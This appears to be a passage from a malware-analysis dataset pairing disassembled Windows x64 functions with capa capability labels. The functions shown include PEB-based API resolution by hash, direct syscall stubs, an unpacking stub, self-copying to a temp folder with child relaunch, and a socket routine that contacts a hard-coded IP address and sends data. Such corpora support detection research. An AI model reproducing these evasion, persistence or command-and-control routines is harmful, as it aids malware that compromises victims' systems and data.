joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
lea rbp, [rcx + 2]
mov qword [rsp + 0x20], 4
mov qword [rsp + 0x18], rbp
nop word [rax + rax]
movzx r9d, byte [rbp - 1]
movzx edx, byte [rbp - 2]
movzx ebx, r9b
movzx r8d, byte [rbp]
movzx eax, dl
shr al, 7
add bl, bl
movzx ecx, byte [rbp + 1]
movzx eax, al
imul eax, eax, 0x1b
mov byte [rsp + 0x78], r9b
mov byte [rsp + 0x88], dl
add dl, dl
mov byte [rsp + 0x80], r8b
xor dl, al
mov dword [rsp + 8], eax
movzx eax, dl
movzx esi, dl
shr al, 7
add sil, sil
movzx eax, al
imul eax, eax, 0x1b
xor sil, al
mov dword [rsp + 4], eax
movzx eax, r9b
movzx r9d, r8b
shr al, 7
add r9b, r9b
movzx eax, al
imul r15d, eax, 0x1b
xor bl, r15b
movzx eax, bl
movzx r10d, bl
shr al, 7
add r10b, r10b
movzx eax, al
imul eax, eax, 0x1b
xor r10b, al
mov dword [rsp + 0x10], eax
movzx eax, r8b
shr al, 7
movzx eax, al
imul r12d, eax, 0x1b
xor r9b, r12b
mov dword [rsp + 0xc], r12d
movzx eax, r9b
movzx r8d, r9b
shr al, 7
xor r9b, dl
movzx eax, al
add r8b, r8b
imul ebp, eax, 0x1b
movzx eax, cl
shr al, 7
add cl, cl
movzx eax, al
imul eax, eax, 0x1b
xor r8b, bpl
xor cl, al
mov dword [rsp + 0x14], eax
movzx eax, cl
movzx r13d, cl
shr al, 7
add r13b, r13b
movzx eax, al
imul r14d, eax, 0x1b
xor r13b, r14b
xor r9b, r13b
movzx eax, r13b
shr al, 7
xor r9b, r8b
movzx eax, al
xor r9b, r10b
imul edi, eax, 0x1b
xor r9b, sil
movzx eax, r8b
mov byte [rsp], r9b
shr al, 7
movzx eax, al
imul r11d, eax, 0x1b
movzx eax, r10b
shr al, 7
xor r13b, cl
movzx eax, al
xor r13b, r8b
imul r9d, eax, 0x1b
xor r13b, r10b
mov r12, qword [rsp + 0x18]
xor r13b, bl
movzx ebx, byte [rsp + 0x80]
xor r13b, sil
mov rcx, qword [rsp + 0x18]
movzx eax, sil
shr al, 7
movzx esi, byte [rsp + 0x78]
mov r8d, dword [rsp + 0x10]
movzx r10d, byte [rcx + 1]
movzx eax, al
imul edx, eax, 0x1b
movzx eax, byte [rsp]
xor al, byte [rsp + 0x78]
xor al, byte [rsp + 0x88]
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, bpl
xor al, r15b
xor al, byte [rsp + 4]
xor al, byte [rsp + 8]
xor al, byte [r12 + 1]
xor al, byte [rsp + 0x80]
xor al, byte [rsp + 0x78]
mov byte [r12 - 2], al
movzx eax, r13b
mov r12d, dword [rsp + 0xc]
xor al, bl
xor al, sil
xor r13b, r10b
add al, al
xor al, dl
xor al, r9b
xor al, r11b
xor al, dil
xor al, r14b
xor al, r12b
xor al, r8b
xor al, r15b
movzx r15d, byte [rsp + 0x88]
xor r13b, r15b
xor al, r10b
add r13b, r13b
xor al, bl
xor r13b, dl
xor al, r15b
mov byte [rcx - 1], al
xor r13b, r9b
mov eax, dword [rsp + 0x14]
xor r13b, r11b
movzx ecx, byte [rsp]
xor r13b, dil
xor cl, r10b
xor r13b, r14b
xor cl, bl
xor r13b, al
add cl, cl
xor r13b, r8b
xor cl, dl
xor cl, r9b
xor cl, r11b
xor cl, dil
xor cl, al
xor cl, bpl
mov rbp, qword [rsp + 0x18]
xor cl, r12b
xor cl, byte [rsp + 4]
xor cl, r10b
xor cl, sil
xor cl, r15b
xor r13b, byte [rsp + 8]
mov byte [rbp], cl
xor r13b, bl
xor r13b, sil
xor r13b, r15b
mov byte [rbp + 1], r13b
add rbp, 4
sub qword [rsp + 0x20], 1
mov qword [rsp + 0x18], rbp
jne 0x1400014d0
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001740
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov r10, rdx
mov rsi, rdx
sub r10, rcx
mov rbx, rcx
mov r8, rcx
mov r11d, 4
nop dword [rax]
mov r9d, 4
nop word [rax + rax]
movzx eax, byte [r10 + r8 + 0xe0]
xor byte [r8], al
inc r8
sub r9, 1
jne 0x140001780
sub r11, 1
jne 0x140001770
mov dil, 0xd
lea rbp, [0x140005510]
movzx eax, byte [rbx + 9]
mov r8, rbx
movzx ecx, byte [rbx + 0xd]
mov r9d, 4
mov byte [rbx + 0xd], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 9], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 5], al
movzx eax, byte [rbx + 0xa]
mov byte [rbx + 1], cl
movzx ecx, byte [rbx + 2]
mov byte [rbx + 2], al
movzx eax, byte [rbx + 0xe]
mov byte [rbx + 0xa], cl
movzx ecx, byte [rbx + 6]
mov byte [rbx + 6], al
movzx eax, byte [rbx + 7]
mov byte [rbx + 0xe], cl
movzx ecx, byte [rbx + 3]
mov byte [rbx + 3], al
movzx eax, byte [rbx + 0xb]
mov byte [rbx + 7], al
movzx eax, byte [rbx + 0xf]
mov byte [rbx + 0xb], al
mov byte [rbx + 0xf], cl
nop dword [rax]
nop word [rax + rax]
mov rcx, r8
mov edx, 4
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 4]
movzx eax, byte [rax + rbp]
mov byte [rcx - 4], al
sub rdx, 1
jne 0x140001820
inc r8
sub r9, 1
jne 0x140001810
movzx r8d, dil
lea r9d, [rdx + 4]
shl r8, 4
mov rax, rbx
sub r8, rbx
add r8, rsi
nop dword [rax]
nop word [rax + rax]
mov edx, 4
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
xor byte [rax], cl
inc rax
sub rdx, 1
jne 0x140001870
sub r9, 1
jne 0x140001860
test dil, dil
je 0x14000189c
mov rcx, rbx
call fcn.1400014a0
add dil, 0xff
jmp 0x1400017a5
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002e60
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x14005b720], 0
jne 0x140003040
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x14000304a
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x140002ece
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x140002ece
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140002eda
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140002e91
test rdx, rdx
je 0x14000304a
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x14005b720]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x140002f93
xor r11d, r11d
mov r10d, 0xe894efbc
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x140002f50
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x140002f97
test ebx, ebx
jne 0x140002f30
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x14005b720], r8d
test eax, eax
je 0x140003032
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x140003028
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x140003019
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x14005b720]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x140002fd0
inc edx
lea eax, [r8 - 1]
cmp edx, eax
jb 0x140002fc0
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret

Function at 0x14000319c
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
mov ecx, 0x14cfdee1
call fcn.140003060
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x140003228
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
mov ecx, 0xf79aef1a
call fcn.140003060
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret
Function at 0x140003244
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
mov ecx, 0xbf2ad7cb
call fcn.140003060
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret

Function at 0x1400033cc
Capabilities:
Execute syscall

Disassembly:
push rcx
push rdx
push r8
push r9
mov ecx, 0x964e4a77
call fcn.140003060
pop r9
pop r8
pop rdx
pop rcx
mov r10, rcx
syscall
ret
Function at 0x1406f9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1406f91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406f9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f906f
add dl, dl
jne 0x1406f9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f90f6
xor eax, eax
add dl, dl
jne 0x1406f90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406f91ad
add dl, dl
jne 0x1406f90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406f90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406f907e
mov eax, 1
add dl, dl
jne 0x1406f9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406f9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f90fb
sub eax, ebx
mov ebx, 1
jne 0x1406f914c
mov ecx, 1
add dl, dl
jne 0x1406f912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406f913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406f9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406f9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406f915d
cmp eax, 0x7d00
jae 0x1406f919b
cmp eax, 0x500
jb 0x1406f9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f907e
cmp eax, 0x7f
ja 0x1406f919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406f907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406f91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406f907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400067d0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x2040
call fcn.14000b1b0
sub rsp, rax
mov rax, qword [0x14003e018]
xor rax, rsp
mov qword [rsp + 0x2030], rax
mov rbx, rdx
mov qword [rsp + 0x2078], rbp
lea rdx, [0x14002b784]
mov rbp, r8
call fcn.1400031a0
mov r9, rbx
mov qword [rsp + 0x28], rbp
lea r8, str._s_c_s
mov dword [rsp + 0x20], 0x5c
mov edx, 0x1000
lea rcx, [rsp + 0x30]
mov rdi, rax
call fcn.140001e40
cmp eax, 0x1000
jl 0x140006846
xor esi, esi
mov ebx, esi
jmp 0x1400068fc
lea rcx, [rsp + 0x30]
call fcn.140003130
xor esi, esi
cmp eax, 1
jne 0x1400068d4
mov eax, dword [0x14003e004]
cmp eax, 0xffffffff
jne 0x1400068a3
lea rcx, str.asdaserwdsd_STRICT_UNPACK_MODE
call fcn.140006d90
mov r8, rax
test rax, rax
je 0x1400068bd
movzx edx, byte [rax]
sub edx, 0x30
jne 0x140006888
movzx edx, byte [rax + 1]
movzx ecx, sil
sub edx, ecx
mov eax, esi
test edx, edx
mov rcx, r8
setne al
mov dword [0x14003e004], eax
call fcn.1400151e8
mov eax, dword [0x14003e004]
test eax, eax
je 0x1400068c3
lea rdx, [rsp + 0x30]
lea rcx, str.ERROR:_file_already_exists_but_should_not:__s_n
call fcn.140001f60
mov rbx, rsi
jmp 0x1400068fc
mov dword [0x14003e004], esi
lea rdx, [rsp + 0x30]
lea rcx, str.WARNING:_file_already_exists_but_should_not:__s_n
call fcn.140001f60
mov rdx, rbp
mov rcx, rbx
call fcn.1400069f0
test eax, eax
jns 0x1400068e8
mov rbx, rsi
jmp 0x1400068fc
lea rdx, [0x14002db1c]
lea rcx, [rsp + 0x30]
call fcn.1400031a0
mov rbx, rax
mov rbp, qword [rsp + 0x2078]
test rdi, rdi
je 0x1400069b9
mov rcx, rdi
test rbx, rbx
je 0x1400069c1
call fcn.14000f754
test eax, eax
jne 0x1400069a5
nop word [rax + rax]
mov r9, rdi
lea rcx, [rsp + 0x1030]
mov edx, 1
mov r8d, 0x1000
call fcn.14000fa0c
test rax, rax
jne 0x140006961
mov rcx, rdi
call fcn.14000f780
test eax, eax
je 0x14000698a
mov rcx, rdi
jmp 0x14000699b
mov r9, rbx
lea rcx, [rsp + 0x1030]
mov r8, rax
mov edx, 1
call fcn.14001014c
test rax, rax
je 0x140006998
mov rcx, rbx
call fcn.14000f780
test eax, eax
jne 0x140006998
mov rcx, rdi
call fcn.14000f754
test eax, eax
je 0x140006930
jmp 0x1400069a5
mov rcx, rbx
call fcn.140018cf4
mov esi, 0xffffffff
mov rcx, rdi
call fcn.14000f6bc
mov rcx, rbx
call fcn.14000f6bc
mov eax, esi
jmp 0x1400069cb
test rbx, rbx
je 0x1400069c6
mov rcx, rbx
call fcn.14000f6bc
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x2030]
xor rcx, rsp
call fcn.14000b210
add rsp, 0x2040
pop rdi
pop rsi
pop rbx
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x14069c0d0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14069c0dd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14069c0ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14069c0d5
lea eax, [rcx + 1]
jmp 0x14069c0fb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14069c10e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14069c0f4
sub eax, 3
jb 0x14069c12e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14069c17d
sar eax, 1
movsxd rbp, eax
jb 0x14069c164
jmp 0x14069c13c
add ebx, ebx
jne 0x14069c13a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14069c164
inc ecx
add ebx, ebx
jne 0x14069c14a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14069c164
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14069c15d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14069c14c
add ecx, 2
jmp 0x14069c169
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14069c092
jmp 0x14069c0dd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x694000]
mov eax, dword [rdi]
or eax, eax
je 0x14069c1dd
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x69c4ec]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14069c18d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14069c1d7
mov qword [rbx], rax
add rbx, 8
jmp 0x14069c1ad
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14069c221
cmp al, 0xef
ja 0x14069c209
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14069c1e9
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14069c1f8
mov eax, dword [rdi]
add rdi, 4
jmp 0x14069c1f8
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14069c2a0], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14069c2a0
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14069c290
sub rsp, 0xffffffffffffff80
jmp 0x1400013f0
Function at 0x14001be5c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov r9, rcx
mov rdi, rdx
movabs rcx, 0xcbf29ce484222325
xor r10d, r10d
movzx eax, byte [r10 + r8 + 0x10]
movabs rdx, 0x100000001b3
xor rcx, rax
inc r10
imul rcx, rdx
cmp r10, 4
jb 0x14001be79
mov rdx, qword [r9 + 0x30]
and rdx, rcx
mov rcx, qword [r9 + 0x18]
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], r8
jne 0x14001bed1
cmp qword [rcx + rdx*8], r8
jne 0x14001bec6
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x14001beca
mov rax, qword [r8 + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x14001bede
cmp qword [rcx + rdx*8], r8
jne 0x14001bede
mov rax, qword [r8]
mov qword [rcx + rdx*8], rax
mov rax, qword [r8 + 8]
mov rbx, qword [r8]
mov qword [rax], rbx
mov rcx, qword [r8]
mov rax, qword [r8 + 8]
mov qword [rcx + 8], rax
mov rcx, r8
dec qword [r9 + 0x10]
call fcn.14001c1d4
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14001c1c0
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
invalid
invalid
Function at 0x140001c10
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor ebp, ebp
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x30], rbp
lea rcx, str..pipe_88control_redirect64
mov edi, r8d
mov dword [rsp + 0x28], ebp
mov rsi, rdx
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001cb0
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbp
lea r8d, [rbp + 4]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test rsi, rsi
je 0x140001ca7
test edi, edi
je 0x140001ca7
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rbp
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000b880
mov rbx, qword [rsp + 0x98]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001cd0
Capabilities:
Accept command line arguments
Copy file
Create thread
Terminate process

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rsp + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
lea rdx, str.__child
call fcn.14000cc44
test rax, rax
je 0x140001db6
xor ebx, ebx
lea rcx, str.C:WindowsTempkujenx1.log
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x4000000
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x140001d48
lea ecx, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x28], rbx
lea r8, [0x140001040]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
mov qword [rsp + 0x270], rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rbx
lea r8, [0x140005850]
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x270]
jmp 0x140001df5
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r8d, r8d
lea rdx, str.C:WindowsTemp_88_AGE.exe
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:WindowsTemp_88_AGE.exe___child
call fcn.140002cd0
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14000b880
add rsp, 0x260
pop rbx
ret
Function at 0x140002cd0
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
sub rsp, 0xf8
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
mov qword [r11 - 0x24], rax
mov rdx, rcx
mov dword [r11 - 0x1c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
movups xmmword [r11 - 0x74], xmm0
mov dword [rsp + 0x28], 0x8000000
movups xmmword [r11 - 0x64], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [r11 - 0x54], xmm0
movups xmmword [r11 - 0x44], xmm0
movups xmmword [r11 - 0x34], xmm0
mov dword [rsp + WSAStartup], 0x70
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.14000b880
add rsp, 0xf8
ret

Function at 0x140002da0
Capabilities:
Set current directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.14000e190
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rdi + r8], 0
jne 0x140002de0
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.14000e610
lea rax, [rsp + 0x20]
nop dword [rax]
cmp byte [rax + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140002e00
lea eax, [rbx - 1]
cdqe
cmp byte [rsp + rax + 0x20], 0x5c
je 0x140002e33
test rax, rax
jle 0x140002e33
cmp rax, 0x104
jae 0x140002e67
mov byte [rsp + rax + 0x20], 0
dec rax
cmp byte [rsp + rax + 0x20], 0x5c
jne 0x140002e17
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, rdi
call fcn.140002cd0
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.14000b880
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret
call fcn.14000bab8
int3
Function at 0x140002e70
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x3e0
mov rax, qword [0x140032008]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x1d0]
mov r8d, 0x200
call fcn.14000e190
mov esi, 2
lea rdx, [rsp + 0x30]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [rsi - 1]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
lea rcx, str.139.59.226.60
mov rdi, rax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, 0x1f2b
mov word [rsp + 0x20], si
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [rsi + 0xe]
mov rcx, rdi
lea rdx, [rsp + 0x20]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_connect]
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x140002f14
mov rdx, qword [rbx]
mov r8d, dword [rbx + 0x10]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov edx, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
xor r9d, r9d
lea rdx, [rsp + 0x1d0]
mov r8d, 0x200
mov rcx, rdi
